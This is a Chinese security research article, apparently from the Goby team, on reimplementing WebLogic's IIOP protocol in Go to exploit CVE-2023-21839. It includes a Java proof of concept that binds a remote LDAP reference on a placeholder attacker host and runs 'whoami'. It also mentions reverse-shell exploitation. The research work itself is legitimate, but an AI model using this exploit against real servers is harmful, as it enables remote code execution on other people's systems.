跨越语言的艺术:Weblogic序列化漏洞与IIOP协议

news2024/11/28 4:33:31

在这里插入图片描述

0x01 概述

Weblogic 的序列化漏洞主要依赖于 T3 和 IIOP 协议,这两种协议在通信交互的过程中存在如跨语言、网络传输等方面的诸多问题,会给漏洞的检测和利用带来许多不便。在白帽汇安全研究院的理念中,漏洞检测和利用是一项需要创造性的工作,应该以最简洁,高效的方式实现,这样才能确保漏洞的跨平台和实用性。因此,我们通过跨语言方式实现 IIOP 协议通信,以解决出现的序列化漏洞问题。

在 Goby 中的 CVE-2023-21839 漏洞中,我们成功的实现了IIOP 协议跨语言通信的方案,完美实现了漏洞的检测与漏洞利用效果:

在这里插入图片描述

0x02 Weblogic IIOP

GIOP 是一种 CORBA 规范定义的协议,用于在分布式对象之间进行通信和交互,定义了对象请求、响应、异常、命名等基本的通信模式和协议规范。简单来说,GIOP 就是一个抽象的协议标准,定义了通信模式和协议规范等信息,并不是具体实现的协议。

IIOP 是一种实现了 GIOP协议的 TCP/IP 协议栈,它使得CORBA对象能够通过Internet进行分布式通信和交互。简单来说,IIOP协议是在TCP/IP层面上实现的GIOP协议。

RMI-IIOP 是一种Java远程方法调用协议的实现方式,它在 IIOP 协议之上扩展了Java RMI 协议,使得 Java 对象可以通过 IIOP 协议进行分布式通信和交互。简单来说, RMI-IIOP 协议就是在 IIOP 协议的基础上集合了 RMI 的远程调用 Java 对象的功能。(在本文中的 Weblogic 部分会将 RMI-IIOP 作为 IIOP 协议来看待)

在文章《 Weblogic IIOP 协议NAT 网络绕过》中提到 “T3 协议本质上 RMI 中传输数据使用的协议, RMI-IIOP 是可以兼容 RMI 和 IIOP 的,所以在 Weblogic 中只要可以通过 T3 序列化恶意代码的都可以通过 IIOP 协议进行序列化”。对于启用了 IIOP 和 T3 的 Weblogic 而言,序列化数据协议传输的过程中是没有本质上区别的,同时在 Weblogic 通信过程中可能会出现 NET 网络问题。因此,为了解决 Java 序列化跨语言问题以及 IIOP 的网络问题,我选择了 IIOP 协议作为此次 Weblogic 序列化协议研究的重点。

0x03 IIOP 攻击流程

在这里插入图片描述

以 CVE-2023-21839 Weblogic 序列化漏洞为例,在 Weblogic 的 IIOP 攻击流程中,攻击端首先初始化上下文信息,使用rebind()方法向注册端绑定恶意对象,再通过 lookup() 方法触发漏洞远程加载恶意地址中的存根对象。在加载的过程中,自定义的恶意对象执行自绑定的操作,将一个具有回显的对象绑定到 Weblogic 注册端上,之后远程调用该对象中的方法,达到攻击回显的目的。

POC 如下:

public class main {
    public static void main(String[] args) throws NamingException, RemoteException {
        ForeignOpaqueReference foreignOpaqueReference = new ForeignOpaqueReference("ldap://xxx.xxx.xxx.xxx:1389/exp", null);
        String iiop_addr = "iiop://10.211.55.4:7001";
        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
        env.put("java.naming.provider.url", iiop_addr);
        Context context = new InitialContext(env);    // 初始化上下文,建立交互连接 LocateRequest LocateReply
        String bind_name = String.valueOf(System.currentTimeMillis()); 
        context.rebind(bind_name, foreignOpaqueReference);  // 绑定远程对象 rebind_any
        context.lookup(bind_name);  // 获取远程对象 resove_any
        ClusterMasterRemote clusterMasterRemote = (ClusterMasterRemote)context.lookup(bind_name);
        System.out.println(clusterMasterRemote.getServerLocation("whoami"));
    }

}

3.1 Java 中的攻击流程

在这里插入图片描述

1、在 Weblogic 的 IIOP 序列化交互开始时,客户端初始化上下文信息 new InitialContext() ,通过 locateNameService() 方法将目标地址、序列化对象等信息封装到IIOP协议的请求包中作为 LocateRequest 消息与Weblogic服务端建立通信。

在这里插入图片描述

2、当客户端收到服务端的LocateReply消息后表示通信交互已建立,客户端会解析响应消息体中的信息,并将其中的相关信息(如 Key Address ,内部类地址、上下文等信息)解析作为下次请求的消息体验证信息。
在这里插入图片描述

3、通信建立后, IIOP 会将建立交互时服务端响应包中的 Key Address 作为下次请求中的 Key Address,执行 bind()rebind() 方法时,绑定对象名称、对象的序列化数据等信息会封装到请求消息体中的 Stub data 字段中作为消息传输。

在这里插入图片描述
在这里插入图片描述

4、 IIOP 协议执行lookup()方法时,首先通过创建的上下文对象调用其中的lookup()方法,lookup()方法根据上下文中是否为NamingContextAny类型来决定调用的lookup()方法,由于上下文对象属于NamingContextAny类型,因此通过Utils.stringToWNameComponent(var1) 方法将字符串 var1 转换成 WNameComponent(Wide Name Component)数组,并将其传递给 this.lookup() 方法,最后通过调用resolve_any()方法将消息封装成序列化字节流发送给服务端。

0x04 IIOP 跨语言实现

在《 IIOP 攻击流程》章节的交互部分中,当 weblogic 在内网环境下,客户端会将 LocateReply 中返回的 weblogic 内部类的内网地址作为下次发包的目标地址,因此会出现客户端向自己的内部地址发包,出现网络通信中断问题。同时,由于 Go 语言中并没有官方的 IIOP 协议库可用,我们在 Goby 安全工具上实现漏洞攻击是比较困难的。如果外挂 java 程序的话会使Goby越来越臃肿,这并不符合白帽汇安全研究院的漏洞价值观。我们认为漏洞是一门艺术,漏洞检测和利用的方式应该以最优雅的形式出现。针对上面的问题,我们索性直接复刻 IIOP 协议作为最终的通用解决方案。

4.1 实现思路

协议通信的本质是字节流的形式在网络中传输数据。因此, Go 实现 IIOP 协议的方式就是模拟 IIOP 通信的字节流。

对于上文中的攻击流程,我们将攻击过程中 IIOP 协议通信分为建立交互、绑定远程对象、获取远程对象,执行对象方法四个部分。对应在 Java 主要通过一下方法完成:

Context context = new InitialContext(env);    // 初始化上下文,建立交互连接 LocateRequest消息 LocateReply消息
context.rebind(bind_name, foreignOpaqueReference);  // 绑定远程对象 Request消息 rebind_any方法
context.lookup(bind_name);  // 绑定远程对象 Request消息 lookup方法
context.lookup(bind_name).getServerLocation("whoami")// 执行远程对象中的方法

我们在 IIOP 协议模拟实现时仅需要实现上述方法在执行过程中协议交互的字节流即可。

4.2 GIOP 协议规范

GIOP(General Inter-ORB Protocol)是一种 CORBA 规范定义的协议,用于在分布式对象之间进行通信和交互,定义了对象请求、响应、异常、命名等基本的通信模式和协议规范。

在这里插入图片描述

GIOP 消息由消息头和消息体两部分组成。

在 GIOP 消息头中包括了 Magic (GIOP标识)、Version(GIOP版本)、Message Flags(标志位)、Message type(消息类型)、Message size(消息体长度)四个字段;

在GIOP消息体中,主要包含了Request id(请求标识)、TargetAddress(请求目标对象键 ID )、Key Address(Key 地址)、Reqest operation(操作方法)、SerivceContext(服务上下文信息)等字段。

由于篇幅有限,这里并不过多叙述 GIOP 字段的含义,如想深入研究协议内容,请参考我们总结的手册《GIOP-Protocol-Analysis》。

4.2.1 GIOP 协议通信流程

1、在通信的初始阶段,首先客户端向服务端发送 LocateRequest 类型的消息与服务端建立通信,服务端验证请求信息并响应LocateReply 类型的消息表示收到了客户端的请求信息,开始与客户端进行交互通信。

2、通信建立完成后,客户端发送一个 Request 类型的消息来执行服务端中的方法,Request 消息的请求体中包含了key地址(Key Address)、执行方法名称(Request operation)、消息上下文(Service Context)和调用远程对象信息(Stub data)等内容。

3、服务端接收并正常解析请求报文后,回应一个 Reply 类型的 No Exception 消息。如果请求报文在服务端中解析出错/异常,则回应一个 Reply 类型的User Exception / System Exception 消息,同时响应体中会附带异常ID(Exception id)信息。

4.3 初始化上下文

Context context = new InitialContext(env);    // 初始化上下文,建立交互连接 LocateRequest消息 LocateReply消息

在 Java 代码中,初始化上下文信息在创建对象的过程中建立IIOP协议的交互流程。因此,在 Go 语言中实现new InitialContext(env)创建对象时生成的字节流并发送给Weblogic即可。new InitialContext(env)对象的创建过程在IIOP协议具体实现中为LocateRequest消息。

在这里插入图片描述

客户端发送的 LocateRequest 消息是一个固定的格式。其中包含了 GIOP 协议标识,协议版本,消息类型、消息标识等信息。

在这里插入图片描述

由于 LocateRequest 是一个固定格式的序列,所以可以直接将该序列发送给服务端,开始建立交互连接。

在这里插入图片描述

服务端在收到 LocateRequest 消息并验证正确后,会向客户端响应一个 LocateReply 消息。 响应的 LocateReply 消息包含了有关服务器的上下文信息、key地址、长度等信息。

在这里插入图片描述

在交互建立完成后,下次请求通信过程中会用到响应体中的 key 地址,需要将key地址解析出来,以便于下次请求包中使用。因此,需要先将Key Address length 的长度提取出来,再根据 Key 的长度计算出Key Address,并将 key 地址存储起来,以便下次请求使用。同时,因为我们下次发包的目标地址是自主可控的,这就从根源上避免了上面出现的NET网络问题。这样,通信就已经正常建立了。
在这里插入图片描述

在通信建立之后,为了验证服务端返回的 Key Address 的有效性,我们向服务端发送了一个方法名为 _non_existentRequest 请求消息。如果服务端返回的状态为 No Exception,则说明该 Key Addresss 是有效的。

4.4 绑定远程对象

context.rebind(bind_name, foreignOpaqueReference);  // 绑定远程对象 Request消息 rebind_any方法

在 Java 语言中,使用 rebind() 方法可以将一个对象绑定到 Weblogic 注册中心上。在 Go 语言中,我们可以实现 context.rebind() 方法的字节流,将要绑定的名称和序列化对象添加到字节流中,然后发送给 Weblogic。

在 IIOP 协议的具体实现中,rebind() 方法的操作方法名为 rebind_any
在这里插入图片描述

通过 rebind_any 方法,将 Stub data 中的绑定名称以及序列化对象等数据发送给服务端,服务端执行重绑定操作,将对象绑定到Weblogic Register上。

在这里插入图片描述

Go 模拟 rebind_any 方法的核心将生成的 payload 字节流增加到请求体的尾部 Stub data 部分。

4.5 获取远程对象

context.lookup(bind_name);  // 绑定远程对象 Request消息 lookup方法

在 Java 代码中,通过上下文对象中的 lookup() 方法可以获取 Weblogic 中绑定名称的存根对象。同样,在 Go 语言中,我们可以实现 context.rebind() 方法的字节流,并将要绑定的名称添加到该字节流中,然后将其发送给 Weblogic。

在 IIOP 协议的具体实现中,lookup() 方法的操作方法名为 resolve_any

在这里插入图片描述

resolve_any 方法通过发送注册命名信息获取注册中心上的存根对象。这里的 Go 字节码实现和上面的相似,都是将信息放到 Stub data 中发送给服务端,只不过这里存放的是存根的命名信息。

在这里插入图片描述

resolve_any 的响应消息会生成一个新的 Key Address,该key包含获取远程对象的引用地址等信息,在执行这个对象中的方法时,要将新请求消息中的 Key Address 替换成该信息。这样就可以正常执行该对象中的方法了。

4.6 执行对象方法

context.lookup(bind_name).getServerLocation("whoami");  // 获取远程对象,执行对象中的getServerLocation方法进行回显

执行 lookup 方法后,我们获取到了远程对象的存根信息,这时就可以调用对象中的方法来实现远程方法调用的目的。

在这里插入图片描述

例如,我们在 CVE-2023-21839 漏洞上绑定了回显类并有名为 getServerLocation()的回显方法。在 Go 语言中,我们只需要按照 GIOP 字节流的格式实现字节流,并将字段 Request operation 的值设置为我们要执行的方法名,Operation length 设置为方法名的长度,Stub data 中设置为执行方法的字节流,最后封装成 GIOP 字节流发送给 Weblogic 即可。具体的的漏洞回显效果,正如下图所示:

在这里插入图片描述

0x05 总结

在白帽汇安全研究院,漏洞检测和利用是一项创造性的工作,我们致力于以最简洁,高效的方式来实现。为了在 Goby 中实现 Weblogic 序列化漏洞的最佳效果和利用方式,我们花费大量精力阅读 IIOP 序列化源码、分析协议流量、调试协议中的字段和字节码。最终,我们成功在 Go 语言中实现了 IIOP 协议漏洞利用框架。为了验证框架的可靠性,我们以 Weblogic 反序列化漏洞(CVE-2023-21839)为例,在 Goby 上实现了完美的漏洞攻击效果,并加入了一键回显、一键反弹 shell 的利用方式。

本文中演示的漏洞与功能将于 4 月 18 号(下周二)在Goby上线,届时请关注 Goby 版本更新通知或微信社群公告。

Goby社区版免费下载体验:https://gobysec.net/

0x06 参考

ChatGPT (openai.com)

Java CORBA (seebug.org)

RMI-IIOP Programmer’s Guide (oracle.com)

Tutorial: Getting Started Using RMI-IIOP (oracle.com)

Configuring WebLogic Server for RMI-IIOP (oracle.com)

Servers: Protocols: IIOP (oracle.com)

Weblogic IIOP 协议NAT 网络绕过 | R4v3zn’s Blog(r4v3zn.com)

漫谈 WebLogic CVE-2020-2551 | R4v3zn’s Blog(r4v3zn.com)

Weblogic CVE-2020-2551 绕过NAT网络分析 - 先知社区 (aliyun.com)

【协议森林】详解大端(big endian)与小端(little endian)_协议森林的博客(csdn.net)

基于RapidIO的GIOP协议——RIO-IOP - 中国知网 (cnki.net)

Goby 欢迎表哥/表姐们加入我们的社区大家庭,一起交流技术、生活趣事、奇闻八卦,结交无数白帽好友。

也欢迎投稿到 Goby(Goby 介绍/扫描/口令爆破/漏洞利用/插件开发/ PoC 编写/ IP 库使用场景/ Webshell /漏洞分析 等文章均可),审核通过后可奖励 Goby 红队版,快来加入微信群体验吧~~~

文章来自Goby社区成员:14m3ta7k@白帽汇安全研究院,转载请注明出处。

  • 微信群:公众号发暗号“加群”,参与积分商城、抽奖等众多有趣的活动
  • 获取版本:https://gobysec.net/sale

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/423375.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

速锐得新能源电动汽车整车能耗热管理CAN总线模块开发方案

一、新能源时代背景 新能源汽车浪潮席卷而来&#xff0c;随着汽车向电动化和智能化方向发展&#xff0c;对汽车能量管理的要求也越来越高。而直冷直热热泵空调热管理系统是新能源汽车领域的新蓝海&#xff0c;随着热管理系统的崛起&#xff0c;在整车能耗热管理采集模块开发方…

计算机组成原理——第四章指令系统(下)

本是青灯不归客&#xff0c;却因浊酒恋红尘 文章目录前言4.3.1 高级语言与机器级代码之间的对应4.3.2 常用的X86汇编指令4.3.3 ATu0026T格式和Intel格式4.3.4 选择语句的机器级表示4.3.5 循环语句的机器级表示4.4 CiSC和RiSC前言 接下来这部分主要讲的就是高级语言与汇编语言的…

Thymeleaf select回显并选中多个

语法&#xff1a; selected"selected" 或 selectedtrue ${#strings.indexOf(name,frag)} 或者 ${#lists.contains(list, element)} 或者 ${#strings.contains(name,ez)} 或者 ${#strings.containsIgnoreCase(name,ez)} 都可以实现。 多选示例 &#xff1a; &…

linux 集群时间同步

前言 由于搭建hadoop集群需要进行集群时间同步&#xff0c;记录下具体操作过程。 这里我的集群环境为192.168.184.129&#xff08;主&#xff09;、192.168.184.130&#xff08;从&#xff09;、192.168.184.131&#xff08;从&#xff09;&#xff0c;设置从机器从主机器同步…

Windows XP设置Outlook电子邮箱

一、问题描述 在Windows XP操作系统中进行Outlook电子邮箱的设置。 二、具体步骤 1、点击“开始”&#xff0c;找到“电子邮件&#xff08;Outlook Express&#xff09;并点击&#xff1a; 2、点击“设置邮件账户”。 3、输入自己的姓名&#xff0c;点击“下一步”。 4、…

Hive UDTF、窗口函数、自定义函数

目录 1 UDTF 1.1 概述 1.2 explode 1.3 posexplode 1.4 inline 1.5 Lateral View 2 窗口函数&#xff08;开窗函数&#xff09; 2.1 定义 2.2 语法 2.2.1 语法--函数 2.2.2 语法--窗口 2.2.3 常用窗口函数 3 自定义函数 3.1 基本知识 3.2 实现自定义函数 3.2.1 …

RestClient操作文档

RestClient操作文档5.RestClient操作文档5.1.新增文档5.1.1.索引库实体类5.1.2.语法说明5.1.3.完整代码5.2.查询文档5.2.1.语法说明5.2.2.完整代码5.3.删除文档5.4.修改文档5.4.1.语法说明5.4.2.完整代码5.5.批量导入文档5.5.1.语法说明5.5.2.完整代码5.6.小结5.RestClient操作…

JavaSE学习进阶day04_02 Calendar类

第三章 Calendar类 3.1 概述 java.util.Calendar类表示一个“日历类”&#xff0c;可以进行日期运算。它是一个抽象类&#xff0c;不能创建对象&#xff0c;我们可以使用它的子类&#xff1a;java.util.GregorianCalendar类。 有两种方式可以获取GregorianCalendar对象&#…

《Advanced R》学习笔记 | Chapter3 Vectors

专注系列化、高质量的R语言教程推文索引 | 联系小编 | 付费合集本篇推文是学堂君学习第3章“Vectors”的笔记&#xff0c;原文链接是https://adv-r.hadley.nz/vectors-chap.html&#xff0c;可在文末“阅读原文”处直达。通过本章的学习&#xff0c;我们可以更清晰地理解R语言中…

IDPChat:探索基于LLaMA和Stable Diffusion的「开源」中文多模态AI大模型

中文多模态模型 IDPChat 和大家见面了。 随着GPT4、文心一言等的发布&#xff0c;预训练大模型正式开启由单模态向多模态模型演进。多模态的特性为语言模型带来更加丰富的应用场景。 我们认为&#xff0c;未来的AI应用将主要以大模型为核心基石。 而在大模型的领域&#xff0c;…

PFTL101A 2.0KN 3BSE004172R1控制卷取物体时保持物体相互拉长或者绷紧的力

PFTL101A 2.0KN 3BSE004172R1控制卷取物体时保持物体相互拉长或者绷紧的力 ​ 基于单片机的放卷机张力控制系统设计 张力控制&#xff0c;通俗地讲&#xff0c;就是要控制卷取物体时保持物体相互拉长或者绷紧的力。张力应用于最广泛的造纸、纤维、塑料薄膜、电线、印刷品、磁带…

基于SpringBoot的健身房管理系统

有需要请私信或看评论链接哦 可远程调试 基于SpringBoot健身房管理系统一 介绍 此健身房管理系统基于SpringBoot开发&#xff0c;数据库mysql&#xff0c;前端startbootstrap。系统角色分为用户和管理员。用户登录后可查看个人信息&#xff0c;课程报名和课程查询&#xff0c;…

react-5 高阶组件 (HOC)(防抖节流) --- 高阶函数(HOF)(拖拽)

高阶函数&#xff1a;指一类函数,防抖&#xff0c;节流 防抖&#xff1a; 短时间内频繁触发同一事件时&#xff0c;只有最后一次生效. 例如电梯关门的效果 节流&#xff1a; 短时间内频繁触发同一个事件时&#xff0c;在单位时间内&#xff0c;只生效一次。例如lol英雄的大招…

【SpringBoot】面试组合技-天羽屠龙舞,SpringBootApplication注解的作用是什么?SpringBoot怎么实现自动装配的?

SpringBoot源码下载地址&#xff1a;https://github.com/spring-projects/spring-boot/tags 文章目录&#x1f35f;下载源码&#x1f357;环境准备&#x1f356;注解解析&#x1f35d;SpringBootConfiguration注解&#x1f35b;EnableAutoConfiguration注解&#x1f364;AutoC…

Kettle7.0同步数据(简单操作步骤hive-hive)

一、Kettle说明介绍和原理说明 Kettle是一款免费的ETL工具。 ETL分别是“Extract”、“ Transform” 、“Load”三个单词的首字母缩写&#xff0c;也就是代表ETL过程的三个最主要步骤&#xff1a;“抽取”、“转换”、“装载”&#xff0c;但我们平时往往简称其为数据抽取。 ET…

opencv:了解Shi-Tomasi角点检测器及其使用

目标 在本章中,我们将学习另一种角点检测器:Shi-Tomasi角点检测器,并且探索函数cv.goodFeaturesToTrack()的使用方法。 理论 在上一章中,我们学习了Harris角点检测器。后来,在1994年,石屹和托马斯对其进行了一些小的修改,提出了《Good Features to Track》这篇论文,相…

矩阵转置(函数)(C语言实现)

【题目描述】 写一个函数&#xff0c;将一个n*n&#xff08;n<10&#xff09;的二维数组进行转置&#xff0c;即行列交换。要求在主函数中完成输入和输出。 【输入说明】 输入第一行只包括1个数字&#xff0c;表示n&#xff0c;接下来有n行&#xff0c;每行有n个整数。 …

[Java]Session机制

什么是Session Session是另一种记录客户状态的机制&#xff0c;不同的是Cookie保存在客户端浏览器中&#xff0c;而Session保存在服务器上。客户端浏览器访问服务器的时候&#xff0c;服务器把客户端信息以某种形式记录在服务器上。这就是Session。客户端浏览器再次访问时只需…

基于springboot和ajax的简单项目 04.html文件的js用来分页功能,有专门的分页页面html文件(下)

01&#xff0c;因为分页的功能是很多场景都需要使用的&#xff0c;所以可以单独提出来&#xff0c;到时候加载到相关html的div中就好了。 最开始初始化分页html文件&#xff08;page.html&#xff09;的全部代码&#xff1a;&#xff08;直接使用的是ul&#xff0c;li&#xff…

LeetCode算法小抄--快速排序详解及应用

LeetCode算法小抄--快速排序详解及应用快速排序详解及应用代码实现快速选择算法&#xff08;Quick Select&#xff09;-- 变体[215. 数组中的第K个最大元素](https://leetcode.cn/problems/kth-largest-element-in-an-array/)[剑指 Offer II 076. 数组中的第 k 大的数字](https…